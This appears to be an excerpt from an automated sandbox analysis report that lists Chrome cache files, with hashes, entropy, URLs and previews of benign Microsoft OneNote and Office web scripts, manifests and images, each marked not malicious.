SHA-512:	B2D3DD04BB38314E91A20C0C67C7DD8B01F72EEF52464EECD5C876C7F932527AEF65E9FF434B8CC7E7B61CB8CD25DD8228C3B38FA895E289CB70717B1842419E
Malicious:	false
URL:	https://fa000000096.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2404.23003/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>9202f6f9-8fe3-4cf8-9cbd-384c940fe419</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>kotai</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="SDX SSO Web App" />.. <Description DefaultValue="SDX SSO Web App" />.. Icon for your add-in. Used on installation screens and the add-ins dialog -->.. <IconUrl DefaultValue="assets/icon-32.png"/>.... <Hosts>.. <Host Name="Document"/>.. <Host Name="Notebook"/>.. <Host Name="Presentation"/>.. <Host Name="Workb

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	312480
Entropy (8bit):	5.468057720781816
Encrypted:	false
SSDEEP:	6144:wtV6kaCdra5cTfJJmKbEuR8A1gpXasV5GIptEH8QEk5Lbx1Ah3Fv4Z6SlwoPES/E:w6kaCdra5cTfJ5rgpXasqIptEH8Qv1Ar
MD5:	66B01615FD0B1950C9C5266178B37B29
SHA1:	B2734B71769C6E8970EDF5E5C884ABFEFAA75555
SHA-256:	E0B99676F8539539D571CF6FA9EBEAE4EF26B7FDBCA7767835813EA544C8A808
SHA-512:	20B34FBE6889D5DCD837B843F2542D62169A7E5B160DFCCE0ECCD93D89DD568E16C7B885CDD7AE76A785498E9B0F67070E86ECC0FE27F2EE8EE7CEB211982E5E
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.slim.c8ffa2f79fdd74d3ece5.js
Preview:	var Microsoft;!function(){var t,e,i,n,o={4267:function(t,e,i){var n,o=function(){var t=String.fromCharCode,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",n={};function o(t,e){if(!n[t]){n[t]={};for(var i=0;i<t.length;i++)n[t][t.charAt(i)]=i}return n[t][e]}var s={compressToBase64:function(t){if(null==t)return"";var i=s.H(t,6,(function(t){return e.charAt(t)}));switch(i.length%4){default:case 0:return i;case 1:return i+"===";case 2:return i+"==";case 3:return i+"="}},decompressFromBase64:function(t){return null==t?"":""==t?null:s.A(t.length,32,(function(i){return o(e,t.charAt(i))}))},compressToUTF16:function(e){return null==e?"":s.H(e,15,(function(e){return t(e+32)}))+" "},decompressFromUTF16:function(t){return null==t?"":""==t?null:s.A(t.length,16384,(function(e){return t.charCodeAt(e)-32}))},compressToUint8Array:function(t){for(var e=s.compress(t),i=new Uint8Array(2*e.length),n=0,o=e.length;n<o;n

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11652), with no line terminators
Category:	dropped
Size (bytes):	11652
Entropy (8bit):	5.435046002751537
Encrypted:	false
SSDEEP:	192:MFiBre+1RPmTJYPqCP3jEpGfB7/h1px1KT5hJdCZhbhibcm/+fhpl02pML1DaLCX:eiBre+1ZyOLp3x14JdCZhli4mWfDlRGJ
MD5:	88549F0717DF6160AC5DEBC0030CED14
SHA1:	7539CDD9F0478597766968DFE5F2052633B76F29
SHA-256:	4B69F2216035B852B4673B035919BDAD219CEEA9C70FFA7444D17F428097181E
SHA-512:	69015943C75957045CFA199EEA4589C50479C18039922C85A7CFE1C7A8174BC1DB94795FF0B530DD91FD3D25AC32077DDCB73CF1889F2D9ED36A4435E041ABD1
Malicious:	false
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_consappdata_start"),(self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]=self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]\|\|[]).push([["consappdata"],{9227:function(e,o,t){t.r(o),t.d(o,{loadConsumerAppData:function(){return _}});var l=t(6968);const n="auth=1";function s(e,o,t,l,s,r){const i=encodeURIComponent(o),a=s?encodeURIComponent(s):"",h=s?"login_hint="+a:void 0,m="https://www.microsoft365.com",u="https://outlook.com";let p=h?u+"?"+h:u;const f="https://outlook.live.com/calendar/";let d=h?f+"?"+h:f;const S="https://onedrive.live.com";let g=h?S+"?"+h:S;const w=m+"/launch/word?"+["username="+i,n].join("&");let C=h?w+"&"+h:w;const _=m+"/launch/excel?"+["username="+i,n].join("&");let O=h?_+"&"+h:_;const P=m+"/launch/powerpoint?"+["username="+i,n].join("&");let E=h?P+"&"+h:P;let y="https:/

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1917), with no line terminators
Category:	dropped
Size (bytes):	1917
Entropy (8bit):	4.857442421785386
Encrypted:	false
SSDEEP:	48:l9AK7E4h5qV5j9RXkIgj3oJzXz6WnzWgEAZAdAhATcY7A03LpAQAqAuAIA3UmcY7:e4WvkIC+TzFnbcXLQ1
MD5:	FFC175D47F55E17139466B8D5F7B5597
SHA1:	F179CDF25E0F3F02E6A7506628136EC2BC61EB31
SHA-256:	038A2421C537F9A7FEFA0CBB8FD7A907D53952B424870ACC7939D6A3BCBB7B14
SHA-512:	04BF06DD8E059A8D0D4936947A36D2FF7C8258191B9FA27505894E5411E8D19B3470F16D492A0D6D6BDF4740B156C0D992BE6388BA203897416E1C7FB6739D1C
Malicious:	false
Preview:	var OnenoteWhatsnewStrings={WhatsNewDialogTitle:"What's New",GotItButton:"Got it!",ImmersiveReader:"The new Immersive Reader provides students with advanced tools to boost reading skills.",Ink:"Handwrite your notes, annotate documents, or sketch out your next big idea with new drawing tools.",NewNotebook:"You can now create notebooks in OneNote Online.",DragHandles:"Use drag handles to easily move text, reorder a list, swap table rows, and re-position images.",SyncUX:"Click the Page Sync Status button for more information about the sync status of the current page.",NotesFeed:"Open the Feed pane for easy access to your OneNote pages, Samsung notes, and sticky notes.",TwoPaneNavigation:"You can hide the navigation pane to focus on the current page or show the navigation pane to switch between your pages, sections, and notebooks.",ReactMLR:"Expand the ribbon to easily find OneNote commands, or collapse it again to maximize your note-taking space.",LearnMoreLinkText:"Learn More",CanvasZoom

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 82 x 258, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6140
Entropy (8bit):	7.86318803852975
Encrypted:	false
SSDEEP:	96:JCXCuvaxrUZXtOVVLMtSqdyZ7x5rY4gby5cR+YBaB7W+Nf9XF5Qfhl4/t5K:MMr7AtaZ7fY4f5I/qRf9V6hSl5K
MD5:	2443F04DFD8CE58264835F7CD477799C
SHA1:	E798EF676A42AA8F723246C95FA6A918010223B2
SHA-256:	77DD1463FE34BE51528C6535C5AAF5590EE90BBD3B76AE8E362657C45E9F90FD
SHA-512:	2668E7EEFF653ECDEF04058FDC43328A80F297EE601839737F35A860737DAD438B03298C1A452E83DAED31DDDA540F7F065FE8F22FB05FC150A9FEAB08FFC91D
Malicious:	false
Preview:	.PNG........IHDR...R.........m......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400" xmpMM:DocumentID="xmp.did:98155F5CD83911E1ACDEFDB8BE9BCEAA" xmpMM:InstanceID="xmp.iid:98155F5BD83911E1ACDEFDB8BE9BCEAA" xmp:CreatorTool="Adobe Photoshop CS5.1 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09F73A8D39D8E111AE39EC2BD256A3F2" stRef:documentID="xmp.did:C714FB70438BE1119DF2F8ED1CCAF400"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.[...,IDATx..........{....a.... .<c......3.....

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3147
Entropy (8bit):	5.8734839640917516
Encrypted:	false
SSDEEP:	96:SRSHCReiZ1ZXsOyB+kRJR8V87+tHjihsBlapRMH:SDRTTtsOG+k+FZbapu
MD5:	DFE3652C1EA0FC667C2E2A4261CD64DF
SHA1:	943F0D0650C11D8386406397701B0CEF5E759AA3
SHA-256:	784545063730163ED3F249AA0285F8B06553C65E8BCA1AA01FE1C699175845F1
SHA-512:	D09C3AD8B1F88F26F58633FFCD759B7A262F9318AE6AE1E65B45676FBD87E8A9AA4AA7B077EA85D40F91E302053C1828097ADB73E1375973C9D14A8B0FA3CF98
Malicious:	false
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/50/manifest.json
Preview:	{"clientVersion":"20241022.4","files":{"owl.js":["owl.60b0607ba5126556995f.js","sha384-zDj3tmNYOwI2Am9oqiJuUbxIaqusrXTjzUd363HCfgg6i2ghsMasGwdCF60uMl6Q"],"owl.slim.js":["owl.slim.3fa2c9c3701ebced3bca.js","sha384-yahtC8hwk8GSYMODl/5HooFPYeo4GRkkrG0e5oCKKinnLifATz+1C343rSkOYQIn"],"owlnest.js":["owlnest.9b8213be8ac8f0683002.js","sha384-HLSNmHA5WyyRDQkWqjGHIqfG1jJbiJ9on/1ItCDW/s74A6I3NMUU+NURu6U2TFXr"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.4e8d8cd9eee1cfb3c162.js","sha384-AAafx3qf00WWge43xDnO9HBNP42FZ58TVQIzTmDaxtfYcm8vVw+OLV2Kv5bCi4TK"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1837)
Category:	downloaded
Size (bytes):	1882
Entropy (8bit):	5.245255266902916
Encrypted:	false
SSDEEP:	48:TQ2KOORG8wMGOLrdUK08uhGL2S3IH9sWRhCt:T6VpLx5uhGLPIH9sWRhCt
MD5:	4407169B6C6BE1315CB8BBCF664D6C13
SHA1:	D3930B118CACB9CB54F380896499A627D43A12D2
SHA-256:	805C4A9707CDA2C8FAB9D20C477C14CE783D37B739809A5601860465036549F2
SHA-512:	3D9296D19E19E11DB09A66B30D8E921CBBAAB4A4F8BA1B69E6B8A02D00D6D7EB4AE78A5E745472F4D3A9468EA236AE7232A6C8C32407C39EDD3F8F4C73C8CDC5
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/uiFabricLazy.min.js
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[288],{16790:function(e,n,t){t.r(n),t.d(n,{Callout:function(){return i}});var o=t(14605),r=t(21598),a=t(19324),u=t(20546),i=r.forwardRef((function(e,n){var t=e.layerProps,i=e.doNotLayer,l=(0,o.__rest)(e,["layerProps","doNotLayer"]),s=r.createElement(a.s,(0,o.__assign)({},l,{doNotLayer:i,ref:n}));return i?s:r.createElement(u.W,(0,o.__assign)({},t),s)}));i.displayName="Callout"},90032:function(e,n,t){t.r(n),t.d(n,{ContextualMenu:function(){return p}});var o=t(14605),r=t(21598),a=t(15417),u=t(60669),i=t(72513),l=t(21564),s=t(98371),d={root:"ms-ContextualMenu",container:"ms-ContextualMenu-container",list:"ms-ContextualMenu-list",header:"ms-ContextualMenu-header",title:"ms-ContextualMenu-title",isopen:"is-open"};function c(e){return r.createElement(m,(0,o.__assign)({},e))}var m=(0,a.I)(i.wb,(function(e){var n=e.className,t=e.theme,o=(0,l.Km)(d,t),r=t.fonts,a=t.semanticColors,u=t.effects;return{root:[t.fon

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	17147
Entropy (8bit):	4.926675206527061
Encrypted:	false
SSDEEP:	384:r3GhH6oaSwSaPQsPq3Qf3/U/8vFwoJbr2wKodV4vzJ9YaikHcL2MQk7:rgzwSkQWjU/8BqOaikMKu
MD5:	8D75B8E85D749610931E168F2EFCF555
SHA1:	11410945A27700DBE941C030189C637792AAC2CE
SHA-256:	485A60AD5AF1CEFF60C50A9BFB08A03F0C42B984034A2255820356938B82B2A0
SHA-512:	EA2196C089F4F10ABB20FBDB41E097C67211734F1C1919595E163CB5D90EAD00DF8D44629ADF854F84C666B2C0D8916DDDDA2F6555F495FDCEAE1BAB5419ECA0
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/suiteux-shell/strings/en/shellstrings.json
Preview:	{. "Microsoft": "Microsoft",. "FlexpaneCloseButton": "Close pane",. "Me_Header": "My account",. "MePhotoAriaLabel": "{0} {1} Current account's user photo",. "ChangePhotoAriaLabel": "{0} {1} Change the photo that appears in IM. This may open a new window.",. "MePhotoTitle": "Current account's user photo",. "ChangePhotoTitle": "Change the photo that appears in IM. This may open a new window.",. "AppLauncherAriaLabel": "App launcher opened",. "AppLauncherCloseAriaLabel": "Close the app launcher",. "AppLauncherHomeAriaLabel": "Microsoft 365, will be open in new tab",. "AppsModuleHeading": "Apps",. "Microsoft365": "Microsoft 365",. "AppsModuleAllApps": "All apps",. "AppsModuleAllAppsTooltip": "Open all apps",. "AllViewGroupShowMore": "Show More",. "AllViewGroupShowLess": "Show Less",. "AllViewBack": "Back",. "AllViewNewGroupHeading": "New",. "AllViewAdminSelectedGroupHeading": "Admin selected apps",. "AllViewMoreFirstPartyGroupHeading": "More from Microsoft",. "AllViewT

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	101803
Entropy (8bit):	5.333052740426743
Encrypted:	false
SSDEEP:	1536:uRJ1IIdEgIamTvRJSRk9UUezt4C34zcsSClhev:uRRYamTvRJsUezt4w4ztlhev
MD5:	2F1D74149F052D3354358E9856375219
SHA1:	8019F7A2EA824930F91C3EC375D926B650FB1CFF
SHA-256:	66C70312DE6CA4E1D7EF1E858307764C241A80E7411CEE686EA2FC2D74152749
SHA-512:	2B1C4E057DBF59E89C3AA9C5DAB1FE8F512ED400088B13592E493B3D48AA334544A7999CA2DDEFA34C23D2F96A2F98B93DD0AAC80C3CF7C37D85B49C5A85A6E6
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/otel.worker.min.js
Preview:	var otelWorker=function(e){var n={};function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{enumerable:!0,get:r})},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.t=function(e,n){if(1&n&&(e=t(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var i in e)t.d(r,i,function(n){return e[n]}.bind(null,i));return r},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.p="",t(t.s=7)}([function(e,n,t){"use strict";t.d(n,"h",(function(){return r})),t.d(

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/msit/10/manifest.json
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49535)
Category:	dropped
Size (bytes):	772777
Entropy (8bit):	5.359301422886437
Encrypted:	false
SSDEEP:	12288:agx87ONuSyGFHJQ9qIslXuAIp6f2/eYHc8CWaYqLy:lqZGFHJQ9qIsFuAIkejc8C0
MD5:	C6D77B4F01A5CD71C41C5AC1367CAA94
SHA1:	6BF37C89FDE94FE2ABECBFF6930D8540FC8381DB
SHA-256:	1DF5CD4A9E8FF36C38EE1D69054EC658B1033DD70CDFA8FBE00035240BADBC2F
SHA-512:	C4F867AA464E90F3BC06707A16B4CCCF3F592ED95BD9204BD95F7DFF09225627AE90749C41E2D4C6DFBE689F1DB8F944B3099F5B8464C2CEF15F0CC854364575
Malicious:	false
Preview:	/! For license information please see wacodcowlhostwebpack.js.LICENSE.txt /.var __webpack_result__;(()=>{var e=[(e,t,n)=>{"use strict";n.d(t,{a:()=>r,b:()=>c,c:()=>s,d:()=>i,e:()=>d,f:()=>o,g:()=>l});var a=function(e,t){return a=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])},a(e,t)};function i(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function n(){this.constructor=e}a(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var r=function(){return r=Object.assign\|\|function(e){for(var t,n=1,a=arguments.length;n<a;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},r.apply(this,arguments)};function o(e,t){var n={};for(var a in e)Object.prototype.hasOwnProperty.call(e,a)&&t.indexOf(a)<0&&(n[a]=e[a]);if(null!=e&&"function"=

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	179047
Entropy (8bit):	5.525623647458743
Encrypted:	false
SSDEEP:	3072:h1AR5AkNPInYOw/AiOeDOqCkR4LJMyy5333WU/LomKb8NSiPRu/8vQDaFL:sjzNPWYOKAiOeDGm4LJMyyllomKb/al
MD5:	EF7071A08A827AA27C96EA5E615ABE1B
SHA1:	259E5CFC5D723F0FB14F65898341D5E905C97272
SHA-256:	CAA79B2EE4B8D02D7E16B57F62F3C9F63496BE673686CF20302F89410430EA51
SHA-512:	7403A842650281334439D39904DA811679B40E7CBFACAFF73FF6F7E28921F5707839E27067C82EA45B1F144EF55A652302203DBF764FDFDB42E8CEA16FB7E4B7
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.slim.b75c2de5eee34f898531.js
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,i={32812:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(13260),i=n(40426),r=n(19665),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.U=function(e){return this.hasError?(e.error(this.thrownError),r.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),r.y.EMPTY):t.prototype.U.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(i.B7)},39188:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(13260),i=n(40426),r=n(92581),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.N=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	5.8734839640917516
Encrypted:	false
SSDEEP:	96:SRSHCReiZ1ZXsOyB+kRJR8V87+tHjihsBlapRMH:SDRTTtsOG+k+FZbapu
MD5:	DFE3652C1EA0FC667C2E2A4261CD64DF
SHA1:	943F0D0650C11D8386406397701B0CEF5E759AA3
SHA-256:	784545063730163ED3F249AA0285F8B06553C65E8BCA1AA01FE1C699175845F1
SHA-512:	D09C3AD8B1F88F26F58633FFCD759B7A262F9318AE6AE1E65B45676FBD87E8A9AA4AA7B077EA85D40F91E302053C1828097ADB73E1375973C9D14A8B0FA3CF98
Malicious:	false
Preview:	{"clientVersion":"20241022.4","files":{"owl.js":["owl.60b0607ba5126556995f.js","sha384-zDj3tmNYOwI2Am9oqiJuUbxIaqusrXTjzUd363HCfgg6i2ghsMasGwdCF60uMl6Q"],"owl.slim.js":["owl.slim.3fa2c9c3701ebced3bca.js","sha384-yahtC8hwk8GSYMODl/5HooFPYeo4GRkkrG0e5oCKKinnLifATz+1C343rSkOYQIn"],"owlnest.js":["owlnest.9b8213be8ac8f0683002.js","sha384-HLSNmHA5WyyRDQkWqjGHIqfG1jJbiJ9on/1ItCDW/s74A6I3NMUU+NURu6U2TFXr"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.4e8d8cd9eee1cfb3c162.js","sha384-AAafx3qf00WWge43xDnO9HBNP42FZ58TVQIzTmDaxtfYcm8vVw+OLV2Kv5bCi4TK"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61584), with CRLF line terminators
Category:	downloaded
Size (bytes):	127321
Entropy (8bit):	3.8975903207588436
Encrypted:	false
SSDEEP:	3072:2W5PAXsHQxmPHmLZyb92FcFxSYJVBp0HoU:XA8HQxaG0AExSYJVGN
MD5:	95AA78CD619069BCDE235DEDC3AF5F41
SHA1:	6CD1FB538E2AEF2D14C5D88E905C72713DE7A8D4
SHA-256:	3994D1ABCC40B2E17CF88747F45CB06238F0458DFC1EF57196BBC44065A69C6D
SHA-512:	3D855672A1AFD84F86482A3C5892FCBCD9837F10AA153F6C6A0C63328C3D8FB364B170D2934D8BF0AF4AA81A624C40D131BBC1AE0DA1213A82153C2D8A1A9806
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/OneNoteSimplified.Wac.TellMeSuggestionModel.js
Preview:	var CoefficientModelIdMap= {104:'AlignCenter',156:'NT3',17:'faPrint',130:'flyoutOneNoteEdit',6:'HideAllNavCommand',24:'IncreaseIndent',129:'InsertSymbol',91:'NT14',36:'AutomaticFontColor',147:'PictureAbsoluteWidth',46:'ImmersiveReader',111:'Copy',33:'Numbering',134:'floatiefseaIndent',53:'NT1',3:'NT0',88:'btnImmersiveMode',155:'NT15',51:'floatiefontName',65:'Strikethrough',137:'ThemeFontColorPickerMCU',15:'GetHelpFromTellMe',31:'Spelling',127:'EnterMathMode',42:'InsertOnlinePicture',154:'NT10',37:'SetProofingLanguage',56:'ToggleRibbonUXDialog',160:'floatiefsbcUnderline',96:'ToggleBorders',40:'AutoCorrectOptions',119:'SelectTable',177:'InsertEmoji',107:'Paste',62:'FontSize',79:'ToggleAuthorInfoVisibility',82:'MoreEmojis',110:'ClearStyleFormatting',52:'floatiefontSize',86:'btnOpenInClient',112:'ShowSectionsAndPagesCommand',165:'ChangePageColor',32:'Italic',152:'AlignRight',116:'btnEditOnWeb',98:'InsertTable',87:'NT13',140:'InkThicknessDropDownOpen',123:'floatiefseaOutdent',168:'InsertLef

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	dropped
Size (bytes):	125478
Entropy (8bit):	5.3045293235159106
Encrypted:	false
SSDEEP:	1536:7R25HBziFSDZOw5uE2qg9cFCzF1TA0Qo4RNRdu9MgIEdb4u0xGlhlHpw:125HBww5dg9w0wRNRdulN7vw
MD5:	A79F48E6E75920EAC571FFBAEDAD667A
SHA1:	1058C1417B1C18C127EE477CF250A2BBD2D7C211
SHA-256:	C34867173151FBA54D6453846BE6B4028397018A76D7ECB70CF38A0AFDA072DF
SHA-512:	9ABEFFC4F43ED1588212F9DDC0ADD4B99A1BEB7D19195F7926376056E219C2788B2C554DAFDE92C54200236350DF213AD68890418EEAF5CE56101BFC4E9ED6AB
Malicious:	false
